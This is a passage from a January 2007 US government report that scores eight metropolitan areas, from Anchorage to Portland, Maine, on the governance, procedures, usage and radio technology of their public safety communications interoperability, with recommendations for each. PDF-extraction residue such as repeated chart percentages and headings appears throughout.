Advanced Implementation Alaska designated the Municipality of Anchorage as its metropolitan area (area). Governance: Established Implementation 15% 20% 20% 20% Anchorage’s Interoperable Communications Steering Committee (ICSC) was established to make communications decisions related to funding, policy, training, exercises, and compliance. The ICSC has an Operations Working Group and a Technology Working Group with representation from local, state, and federal agencies. Anchorage should be commended for having broad representation (local, state, and federal) on its Alaska Land Mobile Radio (ALMR) system; however, greater federal representation of system users may be required in the ICSC. The public safety agencies in Anchorage have some formal and informal agreements among the jurisdictions in the area. Anchorage has a formal strategic plan that incorporates interoperable communications and is accepted by participating agencies. It is unclear, however, whether the area regularly revises the plan or whether the plan is aligned with a long-term funding strategy. The area has been successful in acquiring federal grants and issuing bonds to execute parts of its funding strategy, which should be incorporated into a longer-term funding plan (i.e., covering more than 2 years). Anchorage’s leadership has demonstrated political and fiscal support through its issuance of bonds dedicated to communications interoperability. Recommendations: • Investigate the possibility of more formal involvement of state and federal organizations in the decision- making group (e.g., consider conducting executive-level tabletop exercise), and document roles and responsibilities, as appropriate • Document and formalize agreements (e.g., memorandum of understanding) among all participating agencies to support partnerships on regional interoperability • Establish a process to review the strategic plan annually to ensure that interoperable communications goals are met • Align local and statewide strategic planning efforts to ensure the regional interoperability needs are met • Continue to support and enhance the regional interoperability funding strategy and methods, including additional long-term (e.g., 3 to 5 years) funding sources that align with strategic planning efforts Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% In creating the Tactical Interoperable Communications Plan (TICP), the area built on the existing TriBorough Regional Mutual Aid agreements. Since the completion of the TICP, however, Anchorage has yet to disseminate the new regional SOPs to all included organizations. Not doing so could potentially cause confusion should there be any differences in the pre-existing SOPs upon which the TICP is built. The National Incident Management System (NIMS)/Incident Command System (ICS) was implemented more than 1 year ago in the area, and all first responder agencies are included in the practice and training. During the TICP validation exercise, the area was successful in demonstrating command and control and the Communications Unit Leader (COML) responsibilities. For example, a unified command was quickly 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area B-5 January 2007 Tactical Interoperable Communications Scorecards created with an incident commander, and the COML was designated and his role communicated to all exercise participants. The COML completed, updated, and distributed the ICS Form 205, which is the incident radio communications plan. Recommendations: • Ensure all regional interoperability SOPs are incorporated into the TICP and distributed to participating agencies • Regularly practice SOPs to increase proficiency in implementation • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation The public safety agencies in the area have demonstrated a clear dedication to implementing interoperable communications solutions and a familiarity with the area’s current technology. Interoperability solutions are used on a daily basis and frequently during task force events. During the TICP validation exercise, the participants effectively used their interoperable communications assets across all levels of government and types of support disciplines (e.g., Anchorage Water and Wastewater Utility, Federal Aviation Administration). They distributed and provided instructions on the radio cache; created a patch using a gateway between Fire and Police; and demonstrated familiarity with the area’s shared systems. For example, during the TICP validation exercise, a patch was set up between Anchorage Fire Department and Police Department that served as the command channel for unified command to emergency operations center communications. Additionally, the HearNet shared channel was used to communicate among hospitals. This channel is tested on a weekly basis, which is a strong indication of familiarity and frequency of use. Recommendation: • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The State of Alaska designed a statewide very high frequency, Project 25 (P25), trunked radio communications system several years ago in cooperation with the Department of Defense (DoD). This system, known as the ALMR system, is being built slowly as funding becomes available and includes local, state, federal, and DoD users. The largest jurisdiction of this area, the Municipality of Anchorage, is proceeding with its own development and installation of an 800 megahertz, P25, trunked system. The State of Alaska and DoD plan to connect to the Anchorage system via a gateway. This will increase the potential for interoperability in areas that enjoy overlapping signal coverage with these two systems. Urban/Metropolitan Area B-6 January 2007 Tactical Interoperable Communications Scorecards Little Rock (Arkansas) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Advanced Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation Arkansas designated Little Rock as its metropolitan area (area), which includes Pulaski County and the cities of Cammack Village, Jacksonville, Little Rock, Maumelle, North Little Rock, Shannon Hills, Sherwood, and Wrightsville. Governance: Advanced Implementation The Little Rock Metropolitan Area Working Group developed the Tactical Interoperable Communications (TICP) and includes operations and technical subcommittees for interoperable communications. The area has exclusively formal agreements (e.g., mutual aid agreement with State Emergency Management Department) among public safety organizations, and a review process in place to regularly update these agreements every 3 to 5 years. Although strategic planning efforts have been underway since 1996, the area does not yet have a published strategic plan for regional interoperability. Through a locally funded bond and federal and state grants, jurisdictions procure equipment and develop budgets with consideration for the regional interoperability; fiscal priorities have been clearly articulated in area’s municipal bond. In addition to federal grant monies, the area is consistently awarded several state grants, and a voter-approved bond program is in place to fund communications interoperability equipment, training, and operations. The senior level leaders in the area serve as interoperability advocates and act to ensure continued political and fiscal support. Recommendations: • Reference all applicable agreements (e.g., memoranda of understanding, intergovernmental agreements) in the TICP and store them in an accessible format • Develop, document, and implement a regional strategic plan (beyond the operational TICP) with participant approval, adoption, and acceptance, that takes into account a long-term communications funding strategy (beyond grants) • Align local and state strategic planning efforts to ensure that regional interoperability needs are met • Define funding strategy for regional sustainable funding sources (beyond bonds and grants) to cover lifecycle and recurring costs to operate the area’s interoperability assets Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Little Rock TICP consolidated the existing interoperable communications SOPs (e.g., state and local mutual aid agreements) into a regional plan. Since these SOPs were already well established and used frequently, the public safety agencies in the area were well positioned to adopt the TICP. The TICP has been disseminated to dispatch centers, but not to all included agencies in the area. In the TICP validation exercise, despite a minor issue with radio channel designation, the area was largely successful in the use of its documented procedures. The Little Rock area has adopted National Incident Management System (NIMS)/Incident Command System (ICS) and has been implementing it within the last year. During the exercise, participants successfully demonstrated familiarity with NIMS/ICS (e.g., unambiguous designation 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area B-7 January 2007 Tactical Interoperable Communications Scorecards of Communications Unit Leader, ICS Form 205 developed, updated and distributed, clear establishment of unified command). Recommendations: • Develop regional training policies and requirements for inclusion in the TICP • Ensure consistent reference in the TICP regarding “NIMS is recommended” and “NIMS is required” • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The area frequently uses its interoperable communications solutions (i.e., shared channels and shared systems) frequently for task force and mutual aid incidents. Additionally, officials in the area report proficiency during real-world events (e.g., use of shared channels during river rescues). During the TICP validation exercise, the participants were able to establish interoperable communications despite some minimal technical difficulty (e.g., inconsistent naming conventions for shared channels caused confusion). While the exercise met the stated requirements, it did not provide the opportunity to demonstrate interoperable communications with federal agencies in the area. The area is encouraged to build on its local exercise success by further integrating state, federal, and support agencies in future events. Recommendations: • Continue to involve state and federal agencies (e.g., State Police, Federal Bureau of Investigation) in day-to-day events and future exercises • Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day activities Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The area has one 800 megahertz, Motorola communications system that is shared by most agencies. However, interoperable talk groups have yet to be programmed into all radios, and different disciplines and jurisdictions have different profiles. No gateways are available, and the primary means of interoperable communications currently consists of shared conventional channels (e.g., National Public Safety Planning Advisory Committee channels and Hospital Emergency Administrative Radio channels). The Little Rock area is adding talk groups to its fleet map to increase interoperability. Plans at the state level are unknown, although personnel from both the state and Little Rock have participated in the TICP validation exercises to gain insight into interoperability options and procedures. Urban/Metropolitan Area B-8 January 2007 Tactical Interoperable Communications Scorecards Connecticut Region 1 Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation Connecticut’s metropolitan area, also known as Region 1, includes the following jurisdictions: Bridgeport, Darien, Easton, Fairfield, Greenwich, Monroe, New Canaan, Norwalk, Stamford, Stratford, Trumbull, Weston, Westport, and Wilton. Governance: Intermediate Implementation 10% 10%15% 15% Connecticut’s Region 1 Communications Working Group reports to the Emergency Support Function II communications subcommittee, and includes local, state, and federal agencies within the area (e.g., transportation, public health, state police, U.S. Coast Guard, Federal Bureau of Investigation). Although it is still early in the regional coordination process, the Region 1 is taking steps toward formalizing partnerships and written agreements (e.g., memorandum of understanding [MOU]) among the area’s organizations. The area has been involved in strategic planning efforts but does not yet have a formalized strategic plan for regional interoperable communications, which prevents their alignment to collective, regional interoperable communications goals. Through both local resources and federal grants, organizations within the area develop their budgets and procure equipment with consideration for interoperability across the area; sustainable funding for interoperability solutions though has not been defined. The leadership in the Region 1 appears to be providing the needed level of political and fiscal support for regional interoperable communications; the governor has issued an executive order for interoperability, and some local financial resources have been dedicated to funding interoperability equipment and solutions. Recommendations: • Establish the Region 1 Communications Working Group through a formal charter and document roles and responsibilities of all participating agencies as part of the group • Reference by date, title, or document number, all applicable agreements (e.g., MOUs, intergovernmental agreements) in the Tactical Interoperable Communications Plan (TICP) and store them in an accessible format • Document and formalize agreements (e.g., signed MOUs with defined roles and responsibilities) among all participating agencies relating to regional interoperability • Establish a regular review process to ensure that agreements remain current and relevant • Develop, document, and implement a regional strategic plan (beyond the operational TICP) with participant approval, adoption, and acceptance, that takes into account a long-term communications funding strategy (beyond grants) • Align local and state strategic planning efforts to ensure that regional interoperability needs are met • Initiate the development and implementation of a regional approach to long-term (e.g. 3 to 5 years) sustainable funding that is consistent with the strategic plan Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% Region 1 incorporated existing policies and procedures into the TICP. Since these SOPs were already well established and used frequently, the public safety agencies in the area were well positioned to adopt the 15% 20% 20% 20% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area B-9 January 2007 Tactical Interoperable Communications Scorecards TICP. The area has taken steps to disseminate these SOPs (e.g., distributed to all included organizations and dispatch centers, held the TICP Implementation Workshop) to also ensure their swift adoption. During the TICP validation exercise overall, participants were able to demonstrate familiarity in executing their SOPs, but experienced a few minor procedural problems. The Region 1 began implementing National Incident Management System (NIMS)/Incident Command System (ICS) less than 1 year ago, which implies that the area is still in the earlier stages of implementing NIMS/ICS policies and procedures. Despite the short time frame for implementation, the area has included both first responders and other public safety organizations (e.g., public health) in the implementation and training. During the exercise, participants were able to demonstrate familiarity with NIMS/ICS, but did not demonstrate proficiency in all areas reviewed during the exercise (e.g., ICS Form 205 not distributed). Recommendations: • Update the TICP to incorporate all available interoperable communications equipment (e.g., inconsistencies with gateways in the TICP) • Continue to regularly review and update policies and procedures • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The Region 1 reports regular use of its available means of interoperable communications (e.g., shared channels, gateways, shared systems) in day-to-day operations. Additionally, officials in the area reported demonstrated success during real-world events in the area (e.g., multijurisdictional pursuit of a suspect). During the TICP validation exercise, evaluators indicated that Region 1 responders did a “good job” of establishing tactical interoperable communications between both local and regional responders. However, during the exercise users did not understand the limitations of their shared channels. Recommendations: • Regularly test and exercise deployment of regional interoperability resources to improve proficiency (e.g., radio cache, shared channels) • Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day activities Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Fairfield County consists of 14 towns and cities with at least 26 different public safety radio systems. The only interoperability among public safety agencies in the area is the 800 megahertz (MHz) ITAC/ICALL channels and the Statewide Tactical On-Scene Communication System (STOCS). STOCS, which provides shared channels across the very high frequency, ultra high frequency, and 800 MHz bands, had not been fully implemented at the time of the TICP validation exercise. The State of Connecticut is planning on implementing STOCS in all counties. Region 1 is planning to continue training on and using the ITAC/ICALL channels as well as gateways and other interoperability solutions throughout Region 1 and the rest of the state. Urban/Metropolitan Area B-10 January 2007 Tactical Interoperable Communications Scorecards Wilmington (Delaware) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation Delaware designated the City of Wilmington as its metropolitan area (area), which includes the counties of Kent, New Castle, and Sussex. Governance: Established Implementation 15% 20% 20% 20% Wilmington’s Tactical Interoperable Communication Plan (TICP) was expanded to cover the state as a whole rather than one metropolitan area. This is consistent with the statewide communications infrastructure, as well as the governance structure that was established by the Governor 3 years ago. This governance group is known as the “Next Generation Committee” and is composed of state and local agencies from all first responder disciplines, as well as additional public support services. The group has a charter with active rules and agreements in place, and has stressed the importance of interoperability by creating funding strategies through 2008. Although Wilmington has developed a strategic plan that covers the entire state, it has not yet been fully adopted by all participating organizations, and it is not reviewed/updated annually. Having a published strategy will help ensure statewide compliance with the plan as public safety and state organizations continue to move toward achieving communications interoperability. Recommendations: • Suggest continuing to proactively recruit other members that need to be part of the group, including federal participants that are present in the area (e.g., U.S. Coast Guard) • Encourage full adoption of the strategic plan with acceptance from all participants, and with reviews and updates on an annual basis • Encourage a regional communications interoperability funding strategy, including long-term (e.g., 3 to 5 years) funding sources (in addition to grants) Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% Wilmington had pre-existing SOPs, primarily for its two major 800 megahertz (MHz) systems, which were incorporated in the TICP. As a result, the TICP was expanded to cover all three counties in the state. These policies have begun to be disseminated, and Wilmington is in the process of incorporating the TICP into the Delaware Emergency Operations Plan and as a requirement in all exercises. It was noted at the TICP validation exercise that plain language was not used at the incident. Delaware is also in the process of implementing National Incident Management System (NIMS)/Incident Command System (ICS) and the Communications Unit Leader duties. As detailed in its post-exercise Improvement Plan, gaps in these areas (e.g., plain language not used) will be addressed through additional training and exercises. For example, it was noted at the TICP validation exercise that there was a lack of unified command at the incident, and two separate, distinct incident command structures were in place. These instances illustrate opportunities for training to improve communications command and control. According to the After Action Report, Delaware’s “public service agencies have a solid foundation in their approach to emergencies and they know their plan and procedures well.” The state’s team approach, including the city and county agencies, is commendable, and should be considered a best practice. 15% 20% 20% 20% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area B-11 January 2007 Tactical Interoperable Communications Scorecards Recommendation: • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% Wilmington achieves communications interoperability through a shared system and fixed gateways. However, to more fluently use the mobile gateway system, additional training is needed. The majority of agencies are using the state’s 800 MHz statewide shared system, which provides interoperability on a daily basis. The use of these systems was successfully demonstrated during the TICP validation exercise, allowing local and regional first responders to communicate with each other effectively. The exercise evaluators indicate that because of technical failures that impeded the proper implementation of the mobile command center equipment, additional training was needed to operate the state’s mobile gateways. The gateways would likely be necessary to support federal agencies or responders from other states during a large scale incident. Recommendations: • Continue to conduct training on available technology (e.g., mobile gateway system) to improve familiarity with the capability and work toward seamless integration • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: TTTTechnology Overview echnology Overview echnology Overview echnology Overview The Wilmington area uses two large interconnected 800 MHz radio systems. The State of Delaware operates on an 800 MHz SmartZone™, and the City of Wilmington operates an 800 MHz SMARTNET™ system. The state has six radio caches (five in the 800 MHz band, and one in the ultra high frequency band), and has three types of gateway devices available for use. Statewide communications interoperability is also supported by the use of the five National Public Safety Planning Advisory Committee frequencies. Urban/Metropolitan Area B-12 January 2007 Tactical Interoperable Communications Scorecards Ada County (Idaho) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Advanced Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation Idaho designated Ada County as its metropolitan area (area), which includes unincorporated portions of Ada County; the cities of Boise, Eagle, Garden, Kuna, Meridian, and Star; and the Boise Air Terminal. Governance: Advanced Implementation Communications interoperability is a clear priority for Ada County as demonstrated in the breadth of membership in the Ada County (Idaho) Emergency Communications Planning Committee (ECPC) (e.g., Idaho State Communications). Ada County is currently moving to a new system, and agreements are regularly updated among all agencies to facilitate the transition. Ada County has a strategic plan in place for interoperability that includes fire, public works, and hazardous materials agencies. Organizations within Ada County consider multi-agency interoperability (e.g., interoperability with the area’s countywide system) when procuring communications equipment and have dedicated local funding (e.g., 9-1-1 tax) for new technology, upgrades, and maintenance, which reduces the area’s reliance on federal grants for interoperability funding. The Ada County Sheriff is the approving authority in the area and, along with the governor, has shown political and fiscal support for communications interoperability across the area. With such success in the area of communications governance, Ada County should consider expanding its communications interoperability efforts with surrounding jurisdictions outside of the area. Recommendations: • Proactively recruit new participants, including regional, state, and federal agencies (e.g., Federal Bureau of Investigation, Bureau of Land Management), and define roles and responsibilities for all governance group members • Review the strategic plan annually • Align regional and state strategic planning efforts to ensure that regional interoperability needs are met Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% Ada County has long-established SOPs for interoperability within the county and has disseminated them to participating agencies. The area used existing policies and procedures in creating the Tactical Interoperable Communications Plan (TICP). Many of the regional SOPs were not followed during the TICP validation exercise, which demonstrates the need for further dissemination of and training on these policies and procedures beyond Ada County. National Incident Management System (NIMS)/Incident Command System (ICS) was implemented in Ada County more than 1 year ago, and the exercise evaluators noted that the performance of the acting Communications Unit Leader was “noteworthy” during the exercise. Because of the limited scope of the exercise, assessing the use of regional SOPs and command and control in a multijurisdictional environment (beyond Ada County agencies) was difficult. According to the After Action Report, the participants did not demonstrate proficiency with regional SOPs (e.g., when gateways were used, the TICP gateway request and deactivation procedures were not followed). 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area B-13 January 2007 Tactical Interoperable Communications Scorecards Recommendations: • Ensure all participating agencies review and understand SOPs (e.g., gateway SOPs) • Ensure that SOPs are consistent with regional and statewide interoperability communications plans • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% Ada County reports daily use of shared channels, gateways, and the county’s shared system. All available interoperability methods (i.e., shared channels, gateways, shared system) were successfully demonstrated during the TICP validation exercise. The limited scope of the exercise did not necessitate much cross- jurisdictional communications, but the Boise Bomb Squad, a regional first responder resource, was able to effectively communicate when the scenario required it. The successful TICP validation exercise can serve as a model for future cross-jurisdictional exercises. Dispatchers appeared somewhat unfamiliar with identifying and manipulating existing patches, but the patch was used successfully to connect multiple agencies. Officials in Ada County suggest that area agencies’ response to recent day-to-day events with confident and successful use of available interoperability solutions has further demonstrated the Ada County public safety community’s frequent use of and familiarity with communications interoperability resources. Recommendations: • Regularly test and exercise the deployment of regional communications interoperability resources to improve user proficiency (e.g., gateways) • Consider adding interagency/multijurisdictional communications interoperability (including federal agencies) as a component for all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Ada County communications are currently fragmented between the very high frequency (VHF) band and the ultra high frequency (UHF) band. Law enforcement agencies primarily operate on the UHF band while fire agencies and emergency medical services use the VHF band. This situation will be rectified when Ada County agencies transition to the new 700 megahertz (MHz) digital Project 25 (P25)-compliant trunked system. The transition is scheduled to be complete by the end of the first quarter of calendar year 2007. While the Idaho Statewide Interoperability Executive Council released a plan in July 2005 that focuses on the 700 MHz statewide P25-compliant backbone, cost issues will probably force the state to an integrated P25 solution using 700 MHz primarily in populated areas and a combination of UHF and VHF in rural areas. Because 65 percent of the land in Idaho is federally owned, the VHF band will probably be used for coordination with federal agencies as well. Urban/Metropolitan Area B-14 January 2007 Tactical Interoperable Communications Scorecards Ottumwa (Iowa) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Early Implementation Standard Operating Procedures: Established Implementation Usage: Intermediate Implementation Iowa designated the City of Ottumwa as its metropolitan area (area), which includes the Ottumwa Metropolitan Area consists of Poweshiek, Iowa, Marion, Mahaska, Keokuk, Washington, Lucas, Monroe, Wapello, Jefferson, Henry, Decatur, Wayne, Appanoose, Davis, Van Buren, and Lee counties. Governance: Early Implementation 10%5% 5% 5% Although officials noted that the Emergency 911 (E911) Board deals with equipment interoperability and that the Total Quality Improvement (TQI) group addresses general public safety issues, the relationship among the two groups and their decision-making responsibilities and authorities for ensuring interoperable communications in the area is not clearly documented. Ottumwa has some agreements in place (e.g., South East Iowa Response Group formal mutual aid agreements) and a mix of formal and informal partnerships among the agencies in the area. Formalizing these partnerships through documented agreements will ensure regionwide participation in achieving interoperable communications. Although strategic planning efforts exist broadly for public safety issues, the area does not have a specific strategy focused on improving interoperable communications. The area procures communications equipment based on agency-specific needs and does not have a long-term or regionwide funding plan addressing interoperability. Additionally, officials in the area indicated that leadership had only recently become aware of the need for and challenges of public safety interoperable communications. Recommendations: • Clarify how the two decision-making groups (i.e., E911 Board and TQI committee) are related through a formalized charter and define roles and responsibilities of each of the groups • Develop regional interoperability agreements (e.g., memoranda of understanding) beyond the existing mutual aid agreements and involve all participant agencies • Consider including interoperable communications as part of the overall strategic planning process • Develop, document, and implement a regional strategic plan (beyond the operational focus of the Tactical Interoperable Communication Plan [TICP]) with participant approval, adoption, and acceptance that takes into account a long-term communications funding strategy (beyond grants) • Begin to prioritize and identify funding sources to meet regional interoperability needs and identify long- term (e.g., 3 to 5 years) sustainable funding for communications interoperability beyond grants • Identify a champion(s) that would more fully support a regional strategic plan for interoperability • Raise communications interoperability priority across the area and broadly involve senior government leadership Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% Ottumwa has had a multihazard response plan (containing components addressing general communications provisions) in place for more than 20 years; however, the TICP represents the first regional SOPs for interoperable communications. Most of the first responder agencies in the area participated in the TICP development, and the area has plans to disseminate these SOPs to agencies in the area in the future. Until 10% 10%15% 15% 10%5% 5% 5% 15% 20% 20% 20% Urban/Metropolitan Area B-15 January 2007 Tactical Interoperable Communications Scorecards this distribution occurs, there is no way to ensure that agencies are fully informed of the procedures to achieve interoperable communications. Ottumwa has implemented and has been practicing SOPs compliant with the National Incident Management System (NIMS)/Incident Command System (ICS) for more than 1 year and was able to demonstrate familiarity with command and control communications during its TICP validation exercise. However, during the TICP validation exercise, there were indicators that more practice of command and control SOPs is needed. For example, during the exercise, the Communications Unit Leader was pre-designated but did not demonstrate a full understanding of the responsibilities, ICS forms were not completed, and participants did not use plain language. Recommendations: • Document and distribute regional interoperability SOPs (beyond the TICP) and put them into practice through regular training (e.g., in-service refreshers and basic training courses), exercises, and usage • Consider developing policy on use and limitations of commercial services (e.g., cellular telephones) • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% Within the limited scope of the TICP validation exercise (e.g., exercise participants represented mainly Ottumwa County and not other jurisdictions in the area), the participants demonstrated an understanding of the available interoperable communications equipment (radio caches and shared channels). However, because only two local agencies beyond Ottumwa County were represented in the exercise (e.g., Wapello County Sheriff’s Department, Southeast Iowa Response Group). The participants encountered usage issues, such as interference on the statewide mutual aid channel, when attempting to leverage interoperability solutions. Recommendations: • Follow the recommendations provided to the area in the Exercise Evaluation Guide (e.g., address interference issues, available frequencies, radio cache protocols) • Regularly test and exercise deployment of regional interoperability communications resources (e.g., cached radios, shared channels) to improve proficiency of use • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area's existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Ottumwa Police Department uses an ultra high frequency radio system, while most other public safety entities, such as the Ottumwa Fire Department and emergency medical services, use very high frequency (VHF) radio systems. Interoperability is limited to four VHF cache radios and three shared channels that are only shared within disciplines rather than across disciplines. There are no interoperability gateways or shared systems available. For the future, the State of Iowa is planning to purchase a Raytheon ACU-1000M interoperability gateway with 2 dedicated portable radios for each of the 17 counties (including Wapello County) in Iowa Homeland Security Region 5. Additionally, the state is planning to establish a radio cache of 10 portable radios for each Region 5 county. The radio cache frequency band would be decided by each county. Urban/Metropolitan Area B-16 January 2007 Tactical Interoperable Communications Scorecards Topeka (Kansas) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: Advanced Implementation Kansas designated the City of Topeka as its metropolitan area (area), which includes the City of Topeka and Shawnee County, as well as entities located within the county. Governance: Established Implementation 15% 20% 20% 20% The Communications Management Board serves as the regional decision-making group for the area. The board has the authority and mission to manage regional interoperability, and members include city and county law enforcement and fire services. It is unclear how well emergency medical services (EMS) is represented within the decision-making group. The area has formal agreements (e.g., shared user agreements and other interlocal governmental agreements) with local public safety organizations. The area has a strategic plan for interoperable communications in place; however, it is unclear how regularly the plan is reviewed. The area has provided for long-term regional fiscal support for interoperable communications systems through a tax in place on landline and cellular telephones. The area’s leadership should be commended for involving all participating agencies in prioritizing communications interoperability, and identifying long-term sustainable funding. Recommendations: • Ensure decision-making group membership represents all first responders and public support disciplines (e.g., EMS, hospitals, public health) • Establish processes to develop and review agreements (e.g., usage agreements, memoranda of understanding) at least every 3 to 5 years and after significant events or upgrades • Update regional strategic plan annually and after system upgrades and significant events • Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% Previously existing agreements (e.g., Mutual Agreements for Regional Dispatch Center, and Originating Agency Identifier Agreements) were incorporated into the Topeka Tactical Interoperable Communications Plan (TICP). The area has begun to disseminate these SOPs through the TICP Implementation Workshop and by including them with the gateways. National Incident Management System (NIMS)/Incident Command System (ICS) was implemented more than 1 year ago, and a wide variety of public support organizations (e.g., hospitals, churches) are being trained on these processes. During the TICP validation exercise, participants experienced some communications command and control problems attributable to a failure of NIMS/ICS (e.g., law enforcement communications bypassed the Operations section chief, multiple Operations command nets [one per branch] were established, common terminology and standard naming conventions were not always used). Recommendations: • Continue to distribute regional interoperability SOPs (beyond the TICP), to all participating agencies and dispatch centers 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area B-17 January 2007 Tactical Interoperable Communications Scorecards • Consider developing policy on avoiding use of commercial services (e.g., cellular telephones) for mission-critical communications • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation The Topeka area frequently uses its available means of interoperable communications (e.g., gateways and shared systems). During the exercise, the participants effectively established interoperable communications among agencies, and participant’s demonstrated proficiency and familiarity with the equipment (e.g., cache radios, gateways, shared channels, and shared systems). There was a good level of participation from local, state, and federal agencies (e.g., railroads, Kansas Highway Patrol, Federal Bureau of Investigation). The area should be commended on its effective use of amateur radio during day-to-day communications unit staffing, via its amateur communications capability program, to reduce the dispatch workload in times of heavy traffic. Topeka Amateur Radio Emergency Services also demonstrated knowledge and effective use of the available interoperability solutions (e.g., gateway). Recommendation: • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The State of Kansas identified the City of Topeka as its focus for the TICP. All major public safety and governmental agencies in the City of Topeka operate on an 800 megahertz, Motorola SMARTNET™ system. The system consists of approximately 70 agencies and 250 talk groups. All radios have been configured with interoperability channels listed as Event 1, Event 2, and Event 3. Law enforcement and fire radios use common channels. All radios have been programmed with National Public Safety Planning Advisory Committee channels. Shawnee County uses a Motorola 2-site, 15-channel, simulcast, trunked system. The system was developed in partnership with the Kansas Department of Transportation. The state is a licensee of the system while the county provides the infrastructure and assists in system maintenance. In addition, the county has use of two conventional channels: a mutual aid call and mutual aid Tactical (TAC) and has recently updated the controllers in its east and west radio sites. The State of Kansas point of contact has stated intentions to develop TICPs for other major metropolitan centers using Topeka plan as a model. The current status of these intentions is unknown. Plans for such efforts are developed by the Kansas Department of Transportation, which also maintains the radio system for the Kansas Highway Patrol. The state system is planned to be expanded to allow other counties to buy or lease radios and rent space on the system. The state is also expecting to transition to a digital system soon. Urban/Metropolitan Area B-18 January 2007 Tactical Interoperable Communications Scorecards Portland (Maine) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: Advanced Implementation Maine designated the City of Portland as its metropolitan area (area), which includes the following counties: Androscoggin, Aroostook, Cumberland, Franklin, Hancock, Kennebec, Knox, Lincoln, Oxford, Penobscot, Piscataquis, Sagadahoc, Somerset, Waldo, Washington, and York. Governance: Established Implementation 15% 20% 20% 20% The Portland area has a communications-specific committee made up of agency directors and department commissioners from public safety, emergency medical services, and the Federal Emergency Management Agency (among others). The area indicated that multiple groups were addressing interoperability in the area (State of Maine Homeland Security Advisory Council [HSAC], Tactical Interoperable Communications Plan (TICP) Working Group, Radio Network Board, and the communications-specific Concept of Operations [CONOPS] group), and it appears that the decision-making authority and the implementation responsibilities are not clearly defined among them. There is strong state support for the planning that has occurred to date, but the area appears to lack sufficient local representation (from Portland) in implementing the TICP. Formal agreements are in practice among all organizations in the area, which are regularly updated and distributed. Beyond the operational TICP, there was no reference to a strategic plan for interoperable communications other than the CONOPS plan that outlined operational means of interoperability (e.g., simplex frequencies licensed to the State of Maine for certain circumstances). Despite the lack of a documented long-term strategy or a specific plan for sustainable funding of interoperable communications, the organizations develop their budgets and procure communications equipment with consideration for regional interoperable communications goals through federal funds and state and local resources. State and local leadership has made interoperability a fiscal priority by obtaining and allocating grant monies and state resources to communications. Recommendations: • Clarify the decision-making authority and the implementation responsibilities of the governing bodies (i.e., State of Maine HSAC, communications specific CONOPS group, Radio Network Board, TICP Working Group) through a formalized charter and ensure local first responder participation • Share formal agreements (e.g., memoranda of understanding) with other areas as a best practice • Develop, document, and implement a regional strategic plan (beyond the operational focus of the TICP and CONOPS) that includes longer term regional goals, regulatory changes, and a long-term (e.g., 3 to 5 years) communications funding strategy beyond grants • Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met • Consider developing funding plans jointly as a area to maximize shared resources • Consider the direct involvement of a high-level official(s), with political and fiscal authority, to specifically focus on interoperability • Communicate the success of the TICP to gain further leadership support 15% 20% 20% 20% 15% 20% 20% 20% 